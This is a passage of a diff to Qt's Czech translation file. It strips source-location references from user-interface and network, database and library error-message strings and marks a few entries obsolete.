- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1353"/>
<source>Not connected</source>
<translation>Žádné spojení</translation>
</message>
<message>
- <location line="+399"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+332"/>
<source>Connection refused for data connection</source>
<translation>Odmítnuto spojení spojení pro data</translation>
</message>
<message>
- <location line="+1102"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+1003"/>
<source>Login failed:
%1</source>
<translation>Přihlášení se nezdařilo:
%1</translation>
</message>
<message>
- <location line="+12"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+9"/>
<source>Downloading file failed:
%1</source>
<translation>Stažení souboru se nezdařilo:
%1</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+285"/>
<source>Connected to host</source>
<translation>Spojení s počítačem navázáno</translation>
</message>
<message>
- <location filename="../src/network/access/qftp.cpp" line="-1437"/>
<source>Connection timed out to host %1</source>
<translation>Časový limit pro spojení s počítačem &apos;%1&apos; byl překročen</translation>
</message>
<message>
- <location line="+104"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1458"/>
- <location line="+1451"/>
<source>Connected to host %1</source>
<translation>Spojeno s počítačem %1</translation>
</message>
<message>
- <location line="+1317"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-290"/>
<source>Connecting to host failed:
%1</source>
<translation>Spojení s počítačem se nezdařilo:
%1</translation>
</message>
<message>
- <location line="-1429"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1267"/>
<source>Host %1 not found</source>
<translation>Počítač %1 se nepodařilo nalézt</translation>
</message>
<message>
- <location line="+1449"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+1282"/>
<source>Uploading file failed:
%1</source>
<translation>Nahrání souboru se nezdařilo:
%1</translation>
</message>
<message>
- <location line="-8"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-6"/>
<source>Changing directory failed:
%1</source>
<translation>Změna adresáře se nezdařila:
%1</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+286"/>
<source>Host found</source>
<translation>Počítač byl nalezen</translation>
</message>
<message>
- <location filename="../src/network/access/qftp.cpp" line="+20"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-271"/>
<source>Removing directory failed:
%1</source>
<translation>Odstranění adresáře se nezdařilo:
%1</translation>
</message>
<message>
- <location line="-1457"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1287"/>
<source>Connection refused to host %1</source>
<translation>Spojení s počítačem %1 odmítnuto</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+1555"/>
<source>Connection to %1 closed</source>
<translation>Spojení s %1 ukončeno</translation>
</message>
<message>
- <location filename="../src/network/access/qftp.cpp" line="+1449"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-274"/>
<source>Removing file failed:
%1</source>
<translation>Odstranění souboru se nezdařilo:
%1</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+270"/>
<source>Host %1 found</source>
<translation>Počítač %1 byl nalezen</translation>
</message>
<message>
- <location filename="../src/network/access/qftp.cpp" line="-944"/>
- <location line="+29"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1093"/>
- <location line="+728"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location line="+951"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+126"/>
- <location line="+250"/>
<source>Connection closed</source>
<translation>Spojení ukončeno</translation>
</message>
@@ -2328,43 +3102,33 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QHostInfo</name>
<message>
- <location filename="../src/network/kernel/qhostinfo_p.h" line="+183"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
+ <message>
+ <source>No host name given</source>
+ <translation>Nebyl zadán název pro hostitelský počítač</translation>
+ </message>
</context>
<context>
<name>QHostInfoAgent</name>
<message>
- <location filename="../src/network/kernel/qhostinfo_unix.cpp" line="+257"/>
- <location line="+32"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="+220"/>
- <location line="+27"/>
<source>Host not found</source>
<translation>Nepodařilo se najít počítač</translation>
</message>
<message>
- <location line="-45"/>
- <location line="+39"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-34"/>
- <location line="+29"/>
<source>Unknown address type</source>
<translation>Neznámý typ adresy</translation>
</message>
<message>
- <location line="+10"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-19"/>
- <location line="+27"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-67"/>
<source>No host name given</source>
<translation>Nebyl zadán název pro hostitelský počítač</translation>
</message>
<message>
- <location line="+0"/>
<source>Invalid hostname</source>
<translation>Neplatný název pro hostitelský počítač</translation>
</message>
@@ -2372,155 +3136,110 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QHttp</name>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+2636"/>
<source>Connection refused (or timed out)</source>
<translation>Spojení bylo odmítnuto (nebo byl překročen časový limit)</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+584"/>
<source>Data corrupted</source>
<translation>Data jsou poškozena</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+2308"/>
<source>Connected to host</source>
<translation>Spojení s počítačem navázáno</translation>
</message>
<message>
- <location line="-14"/>
<source>Connected to host %1</source>
<translation>Spojeno s počítačem %1</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+3"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-19"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-456"/>
<source>Host %1 not found</source>
<translation>Počítač %1 se nepodařilo nalézt</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+16"/>
<source>Host requires authentication</source>
<translation>Hostitelský počítač požaduje autentizaci</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+325"/>
<source>Error writing response to device</source>
<translation>Při psaní odpovědi výstupnímu zařízení se vyskytla chyba</translation>
</message>
<message>
- <location line="-2594"/>
<source>HTTPS connection requested but SSL support not compiled in</source>
<translation>Požadované HTTPS spojení nelze vytvořit, protože neexistuje žádná SSL podpora</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+467"/>
<source>Host found</source>
<translation>Počítač byl nalezen</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-12"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-470"/>
<source>Connection refused</source>
<translation>Spojení bylo odmítnuto</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+2421"/>
<source>Proxy authentication required</source>
<translation>Požadována proxy autentizace</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+18"/>
<source>Unknown protocol specified</source>
<translation>Byl zadán neznámý protokol</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="-132"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-12"/>
- <location line="+19"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+6"/>
<source>HTTP request failed</source>
<translation>HTTP dotaz se nezdařil</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-16"/>
<source>Proxy requires authentication</source>
<translation>Proxy server požaduje autentizaci</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+136"/>
<source>Authentication required</source>
<translation>Požadována autentizace</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+12"/>
<source>SSL handshake failed</source>
<translation>Během startu SSL protokolu se vyskytla chyba</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+456"/>
<source>Connection to %1 closed</source>
<translation>Spojení s %1 ukončeno</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="+83"/>
- <location line="+48"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-347"/>
- <location line="+47"/>
<source>Invalid HTTP chunked body</source>
<translation>Obsah (chunked body - rozkouskované tělo) HTTP je neplatný</translation>
</message>
<message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+294"/>
<source>Host %1 found</source>
<translation>Počítač %1 byl nalezen</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="-349"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-498"/>
<source>Wrong content length</source>
<translation>Neplatný údaj o délce obsahu</translation>
</message>
<message>
- <location line="-995"/>
- <location line="+820"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-634"/>
- <location line="+567"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location line="+351"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+184"/>
<source>Invalid HTTP response header</source>
<translation>Hlavička HTTP odpovědi není platná</translation>
</message>
<message>
- <location line="+28"/>
<source>Unknown authentication method</source>
<translation>Neznámý způsob autentizace</translation>
</message>
<message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-18"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+401"/>
<source>Connection closed</source>
<translation>Spojení ukončeno</translation>
</message>
<message>
- <location filename="../src/network/access/qhttp.cpp" line="-368"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-574"/>
<source>No server set to connect to</source>
<translation>Pro spojení nebyl nastaven žádný počítač - server</translation>
</message>
<message>
- <location line="+168"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+60"/>
<source>Server closed connection unexpectedly</source>
<translation>Server neočekávaně uzavřel spojení</translation>
</message>
<message>
- <location line="-747"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-441"/>
<source>Request aborted</source>
<translation>Požadavek byl zrušen</translation>
</message>
@@ -2528,47 +3247,38 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QHttpSocketEngine</name>
<message>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="+29"/>
<source>Proxy connection refused</source>
<translation>Proxy server odmítl navázání spojení</translation>
</message>
<message>
- <location line="-35"/>
<source>Proxy denied connection</source>
<translation>Proxy server odmítl spojení</translation>
</message>
<message>
- <location line="+33"/>
<source>Proxy server not found</source>
<translation>Nepodařilo se najít žádný proxy server</translation>
</message>
<message>
- <location line="+4"/>
<source>Proxy server connection timed out</source>
<translation>Při spojení s proxy serverem byl překročen časový limit</translation>
</message>
<message>
- <location line="-120"/>
<source>Did not receive HTTP response from proxy</source>
<translation>Žádná HTTP odpověď od proxy serveru</translation>
</message>
<message>
- <location line="+122"/>
<source>Proxy connection closed prematurely</source>
<translation>Proxy server předčasně ukončil spojení</translation>
</message>
<message>
- <location line="-29"/>
<source>Error communicating with HTTP proxy</source>
<translation>Chyba při spojení s proxy serverem</translation>
</message>
<message>
- <location line="-37"/>
<source>Authentication required</source>
<translation>Požadována autentizace</translation>
</message>
<message>
- <location line="-31"/>
<source>Error parsing authentication request from proxy</source>
<translation>Chyba při vyhodnocení autentizačního požadavku proxy serveru</translation>
</message>
@@ -2576,22 +3286,18 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QIBaseDriver</name>
<message>
- <location filename="../src/sql/drivers/ibase/qsql_ibase.cpp" line="+1558"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="-13"/>
<source>Could not start transaction</source>
<translation>Nepodařilo se spustit žádnou transakci</translation>
</message>
<message>
- <location line="-54"/>
<source>Error opening database</source>
<translation>Nepodařilo se otevřít spojení s databází</translation>
</message>
<message>
- <location line="+80"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
@@ -2599,89 +3305,70 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QIBaseResult</name>
<message>
- <location line="-707"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="-422"/>
<source>Unable to open BLOB</source>
<translation>Nepodařilo se otevřít BLOB</translation>
</message>
<message>
- <location line="+499"/>
<source>Could not describe statement</source>
<translation>Nepodařilo se získat žádný popis příkazu</translation>
</message>
<message>
- <location line="-25"/>
- <location line="+11"/>
<source>Could not describe input statement</source>
<translation>Nepodařilo se získat žádný popis vstupního příkazu</translation>
</message>
<message>
- <location line="-21"/>
<source>Could not allocate statement</source>
<translation>Přidělení příkazu se nezdařilo</translation>
</message>
<message>
- <location line="-478"/>
<source>Unable to write BLOB</source>
<translation>Nepodařilo se zapsat BLOB</translation>
</message>
<message>
- <location line="+417"/>
<source>Could not start transaction</source>
<translation>Nepodařilo se spustit žádnou transakci</translation>
</message>
<message>
- <location line="+211"/>
<source>Unable to close statement</source>
<translation>Příkaz se nepodařilo zavřít</translation>
</message>
<message>
- <location line="-231"/>
<source>Could not get query info</source>
<translation>Požadované informace k vyhledávání nejsou k dispozici</translation>
</message>
<message>
- <location line="-242"/>
- <location line="+187"/>
<source>Could not find array</source>
<translation>Nepodařilo se najít pole</translation>
</message>
<message>
- <location line="-155"/>
<source>Could not get array data</source>
<translation>Nepodařilo se přečíst data pole</translation>
</message>
<message>
- <location line="+449"/>
<source>Unable to execute query</source>
<translation>Dotaz se nepodařilo provést</translation>
</message>
<message>
- <location line="-153"/>
<source>Could not prepare statement</source>
<translation>Příkaz se nepodařilo připravit</translation>
</message>
<message>
- <location line="+199"/>
<source>Could not fetch next item</source>
<translation>Další prvek se nepodařilo vyzvednout</translation>
</message>
<message>
- <location line="+197"/>
<source>Could not get statement info</source>
<translation>K dispozici není žádná informace k příkazu</translation>
</message>
<message>
- <location line="-885"/>
<source>Unable to create BLOB</source>
<translation>Nepodařilo se vytvořit žádný BLOB</translation>
</message>
<message>
- <location line="+36"/>
<source>Unable to read BLOB</source>
<translation>BLOB se nepodařilo přečíst</translation>
</message>
@@ -2689,27 +3376,22 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QIODevice</name>
<message>
- <location filename="../src/corelib/global/qglobal.cpp" line="+2064"/>
<source>No such file or directory</source>
<translation>Nepodařilo se najít žádný takový soubor nebo adresář</translation>
</message>
<message>
- <location line="-6"/>
<source>Permission denied</source>
<translation>Přístup odepřen</translation>
</message>
<message>
- <location line="+9"/>
<source>No space left on device</source>
<translation>Na zařízení není žádný volný úložný prostor</translation>
</message>
<message>
- <location filename="../src/corelib/io/qiodevice.cpp" line="+1561"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location filename="../src/corelib/global/qglobal.cpp" line="-6"/>
<source>Too many open files</source>
<translation>Příliš mnoho otevřených souborů</translation>
</message>
@@ -2717,32 +3399,26 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QInputContext</name>
<message>
- <location filename="../src/gui/inputmethod/qinputcontextfactory.cpp" line="+256"/>
<source>XIM</source>
<translation>XIM</translation>
</message>
<message>
- <location line="+4"/>
<source>FEP</source>
<translation>FEP</translation>
</message>
<message>
- <location line="+27"/>
<source>Windows input method</source>
<translation>Windows-vstupní metoda</translation>
</message>
<message>
- <location line="+8"/>
<source>S60 FEP input method</source>
<translation>S60 FEP-vstupní metoda</translation>
</message>
<message>
- <location line="-12"/>
<source>XIM input method</source>
<translation>XIM-vstupní metoda</translation>
</message>
<message>
- <location line="+8"/>
<source>Mac OS X input method</source>
<translation>Mac OS X-vstupní metoda</translation>
</message>
@@ -2750,7 +3426,6 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QInputDialog</name>
<message>
- <location filename="../src/gui/dialogs/qinputdialog.cpp" line="+223"/>
<source>Enter a value:</source>
<translation>Zadejte hodnotu:</translation>
</message>
@@ -2758,104 +3433,81 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QLibrary</name>
<message>
- <location filename="../src/corelib/plugin/qlibrary.cpp" line="+411"/>
<source>Could not unmap &apos;%1&apos;: %2</source>
- <translation>Operace unmap, zrušit zobrazení, se nezdařila u &apos;%1&apos;: %2</translation>
+ <translation type="obsolete">Operace unmap, zrušit zobrazení, se nezdařila u &apos;%1&apos;: %2</translation>
</message>
<message>
- <location filename="../src/corelib/plugin/qlibrary_unix.cpp" line="+253"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+109"/>
<source>Cannot unload library %1: %2</source>
<translation>Knihovnu %1 nelze vyjmout: %2</translation>
</message>
<message>
- <location line="-17"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="-22"/>
<source>Cannot load library %1: %2</source>
<translation>Knihovnu %1 nelze nahrát: %2</translation>
</message>
<message>
- <location filename="../src/corelib/plugin/qlibrary.cpp" line="+341"/>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
<translation>Přídavný modul &apos;%1&apos; používá neslučitelnou Qt knihovnu. (%2.%3.%4) [%5]</translation>
</message>
<message>
- <location filename="../src/corelib/plugin/qlibrary_unix.cpp" line="+51"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+37"/>
<source>Cannot resolve symbol &quot;%1&quot; in %2: %3</source>
<translation>Symbol &quot;%1&quot; nelze v %2 vyřešit: %3</translation>
</message>
<message>
- <location filename="../src/corelib/plugin/qlibrary.cpp" line="-347"/>
<source>Plugin verification data mismatch in &apos;%1&apos;</source>
<translation>Ověřovací data přídavného nesouhlasí v &apos;%1&apos;</translation>
</message>
<message>
- <location line="+375"/>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
<translation>Přídavný modul &apos;%1&apos; používá neslučitelnou Qt knihovnu. (Knihovny vytvořené v režimu ladění a vydání nemohou být používány společně.)</translation>
</message>
<message>
- <location line="-43"/>
<source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
<translation>Soubor &apos;%1&apos; není platným přídavným modulem Qt.</translation>
</message>
<message>
- <location line="-2"/>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="+343"/>
<source>The shared library was not found.</source>
<translation>Nepodařilo se nalézt sdílenou knihovnu.</translation>
</message>
<message>
- <location line="+402"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location line="-365"/>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
<translation>Přídavný modul &apos;%1&apos; používá neslučitelnou Qt knihovnu. Potřebný byl zvláštní klíč pro sestavení &quot;%2&quot;, obdržen &quot;%3&quot;</translation>
</message>
<message>
- <location line="-389"/>
<source>Could not mmap &apos;%1&apos;: %2</source>
- <translation>Operace mmap se nezdařila u &apos;%1&apos;: %2</translation>
+ <translation type="obsolete">Operace mmap se nezdařila u &apos;%1&apos;: %2</translation>
</message>
</context>
<context>
<name>QLineEdit</name>
<message>
- <location filename="../src/gui/widgets/qlineedit.cpp" line="+1991"/>
<source>Cu&amp;t</source>
<translation>&amp;Vyjmout</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location line="-12"/>
<source>&amp;Redo</source>
<translation>&amp;Znovu</translation>
</message>
<message>
- <location line="-4"/>
<source>&amp;Undo</source>
<translation>&amp;Zpět</translation>
</message>
<message>
- <location line="+21"/>
<source>&amp;Paste</source>
<translation>&amp;Vložit</translation>
</message>
<message>
- <location line="+5"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+6"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
@@ -2863,23 +3515,18 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QLocalServer</name>
<message>
- <location filename="../src/network/socket/qlocalserver.cpp" line="+224"/>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="+256"/>
<source>%1: Name error</source>
<translation>%1: Chybný název</translation>
</message>
<message>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="+9"/>
<source>%1: Unknown error %2</source>
<translation>%1: Neznámá chyba %2</translation>
</message>
<message>
- <location line="-17"/>
<source>%1: Permission denied</source>
<translation>%1: Přístup odepřen</translation>
</message>
<message>
- <location line="+12"/>
<source>%1: Address in use</source>
<translation>%1: Adresa se již používá</translation>
</message>
@@ -2887,70 +3534,46 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QLocalSocket</name>
<message>
- <location filename="../src/network/socket/qlocalsocket_tcp.cpp" line="+153"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+160"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+75"/>
<source>%1: Connection error</source>
<translation>%1: Chyba spojení</translation>
</message>
<message>
- <location line="-21"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="-21"/>
<source>%1: Connection refused</source>
<translation>%1: Spojení bylo odmítnuto</translation>
</message>
<message>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+28"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+10"/>
<source>%1: Unknown error %2</source>
<translation>%1: Neznámá chyba %2</translation>
</message>
<message>
- <location filename="../src/network/socket/qlocalsocket_tcp.cpp" line="+9"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="-19"/>
<source>%1: Socket access error</source>
<translation>%1: Chyba při přístupu k zásuvce (socketu)</translation>
</message>
<message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
<source>%1: Socket resource error</source>
<translation>%1: Chyba zásuvky (socketu) - potíže se zdrojem</translation>
</message>
<message>
- <location line="+12"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+12"/>
<source>%1: The socket operation is not supported</source>
<translation>%1: Tato operace se zásuvkou (socketem) není podporována</translation>
</message>
<message>
- <location line="-18"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="-18"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="-5"/>
- <location line="+45"/>
<source>%1: Invalid name</source>
<translation>%1: Neplatný název</translation>
</message>
<message>
- <location line="+22"/>
<source>%1: Unknown error</source>
<translation>%1: Neznámá chyba</translation>
</message>
<message>
- <location line="-13"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+9"/>
<source>%1: Socket operation timed out</source>
<translation>%1: Překročení času při operaci se zásuvkou (socketem)</translation>
</message>
<message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
<source>%1: Datagram too large</source>
<translation>%1: Datagram je příliš veliký</translation>
</message>
<message>
- <location line="-15"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="-15"/>
<source>%1: Remote closed</source>
<translation>%1: Spojení bylo protější stranou uzavřeno</translation>
</message>
@@ -2958,27 +3581,22 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMYSQLDriver</name>
<message>
- <location filename="../src/sql/drivers/mysql/qsql_mysql.cpp" line="+1440"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="-179"/>
<source>Unable to open database &apos;</source>
<translation>Nepodařilo se otevřít spojení s databází &apos;</translation>
</message>
<message>
- <location line="+11"/>
<source>Unable to connect</source>
<translation>Nepodařilo se navázat spojení</translation>
</message>
<message>
- <location line="+185"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
<message>
- <location line="-34"/>
<source>Unable to begin transaction</source>
<translation>Transakci se nepodařilo spustit</translation>
</message>
@@ -2986,59 +3604,46 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMYSQLResult</name>
<message>
- <location line="-413"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="+23"/>
<source>Unable to store statement results</source>
<translation>Výsledky příkazu se nepodařilo uložit</translation>
</message>
<message>
- <location line="-253"/>
<source>Unable to execute next query</source>
<translation>Další dotaz nelze provést</translation>
</message>
<message>
- <location line="+244"/>
- <location line="+21"/>
<source>Unable to bind outvalues</source>
<translation>Výstupní hodnoty se nepodařilo spojit</translation>
</message>
<message>
- <location line="-255"/>
<source>Unable to store next result</source>
<translation>Další výsledek nelze uložit</translation>
</message>
<message>
- <location line="-302"/>
<source>Unable to fetch data</source>
<translation>Nepodařilo se natáhnout žádná data</translation>
</message>
<message>
- <location line="+380"/>
- <location line="+8"/>
<source>Unable to prepare statement</source>
<translation>Příkaz se nepodařilo připravit</translation>
</message>
<message>
- <location line="-199"/>
<source>Unable to store result</source>
<translation>Výsledek se nepodařilo uložit</translation>
</message>
<message>
- <location line="+322"/>
<source>Unable to bind value</source>
<translation>Hodnotu se nepodařilo spojit</translation>
</message>
<message>
- <location line="-328"/>
<source>Unable to execute query</source>
<translation>Dotaz se nepodařilo provést</translation>
</message>
<message>
- <location line="+242"/>
<source>Unable to reset statement</source>
<translation>Příkaz se nepodařilo znovu nastavit</translation>
</message>
@@ -3046,7 +3651,6 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMdiArea</name>
<message>
- <location filename="../src/gui/widgets/qmdiarea.cpp" line="+290"/>
<source>(Untitled)</source>
<translation>(Bez názvu)</translation>
</message>
@@ -3054,92 +3658,74 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMdiSubWindow</name>
<message>
- <location filename="../src/gui/widgets/qmdisubwindow.cpp" line="+355"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="+3"/>
<source>Menu</source>
<translation>Menu</translation>
</message>
<message>
- <location line="+699"/>
<source>&amp;Move</source>
<translation>Po&amp;sunout</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Size</source>
<translation>Změnit &amp;velikost</translation>
</message>
<message>
- <location line="-706"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="-18"/>
<source>Minimize</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="+9"/>
<source>Shade</source>
<translation>Navinout</translation>
</message>
<message>
- <location line="+720"/>
<source>Stay on &amp;Top</source>
<translation>Zůstat v &amp;popředí</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
<message>
- <location line="-787"/>
<source>- [%1]</source>
<translation>- [%1]</translation>
</message>
<message>
- <location line="+1"/>
<source>%1 - [%2]</source>
<translation>%1 - [%2]</translation>
</message>
<message>
- <location line="+774"/>
<source>&amp;Restore</source>
<translation>&amp;Obnovit</translation>
</message>
<message>
- <location line="-705"/>
<source>Restore</source>
<translation>Obnovit</translation>
</message>
<message>
- <location line="-12"/>
<source>Maximize</source>
<translation>Zvětšit</translation>
</message>
<message>
- <location line="+3"/>
<source>Unshade</source>
<translation>Odvinout</translation>
</message>
<message>
- <location line="+719"/>
<source>Mi&amp;nimize</source>
<translation>Zmen&amp;šit</translation>
</message>
<message>
- <location line="+2"/>
<source>Ma&amp;ximize</source>
<translation>Zvě&amp;tšit</translation>
</message>
<message>
- <location line="-714"/>
<source>Restore Down</source>
<translation>Obnovit</translation>
</message>
@@ -3147,21 +3733,14 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMenu</name>
<message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblemenu.cpp" line="+158"/>
- <location line="+225"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location line="-226"/>
- <location line="+225"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location line="-222"/>
- <location line="+225"/>
- <location line="+51"/>
<source>Execute</source>
<translation>Provést</translation>
</message>
@@ -3169,7 +3748,6 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMenuBar</name>
<message>
- <location filename="../src/gui/widgets/qmenu_symbian.cpp" line="+410"/>
<source>Actions</source>
<translation>Činnosti</translation>
</message>
@@ -3177,39 +3755,34 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMessageBox</name>
<message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="-1964"/>
- <location line="+847"/>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="-52"/>
- <location line="+8"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location line="+1"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
